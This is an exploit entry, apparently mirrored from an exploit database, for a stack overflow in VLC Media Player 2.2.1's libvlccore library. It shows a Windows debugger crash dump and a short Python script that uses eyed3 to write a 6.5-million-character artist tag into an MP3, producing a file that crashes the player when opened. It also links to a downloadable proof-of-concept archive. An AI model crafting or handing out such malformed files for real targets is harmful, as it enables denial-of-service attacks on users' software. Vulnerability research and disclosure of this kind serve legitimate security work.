发布 2015-10-18 漏洞条目

VideoLAN VLC Media Player 2.2.1 – libvlccore ‘.mp3’ Stack Overflow

Exploit Source

# Exploit Title: VLC | libvlccore - (.mp3) Stack Overflow

# Date: 18/10/2015

# Exploit Author: Andrea Sindoni

# Software Link: https://www.videolan.org/vlc/index.it.html

# Version: 2.2.1

# Tested on: Windows 7 Professional 64 bits

# PoC with MP3: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38485.zip

#APP: vlc.exe

#ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) amd64fre

#FOLLOWUP_NAME: MachineOwner

#MODULE_NAME: libvlccore

#IMAGE_NAME: libvlccore.dll

#FAILURE_ID_HASH_STRING: um:wrong_symbols_c00000fd_libvlccore.dll!vlm_messageadd

#Exception Hash (Major/Minor): 0x60346a4d.0x4e342e62

#EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)

#ExceptionAddress: 00000000749ba933 (libvlccore!vlm_MessageAdd+0x00000000000910d3)

# ExceptionCode: c00000fd (Stack overflow)

# ExceptionFlags: 00000000

#NumberParameters: 2

# Parameter[0]: 0000000000000001

# Parameter[1]: 0000000025ed2a20

#eax=00436f00 ebx=2fdc0100 ecx=25ed2a20 edx=00632efa esi=17fb2fdc edi=00000001

#eip=749ba933 esp=260cfa14 ebp=260cfa78 iopl=0 nv up ei pl nz na po nc

#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

#Stack Overflow starting at libvlccore!vlm_MessageAdd+0x00000000000910d3 (Hash=0x60346a4d.0x4e342e62)

import eyed3

value = u'B'*6500000

audiofile = eyed3.load("base.mp3")

audiofile.tag.artist = value

audiofile.tag.album = u'andrea'

audiofile.tag.album_artist = u'sindoni'

audiofile.tag.save()

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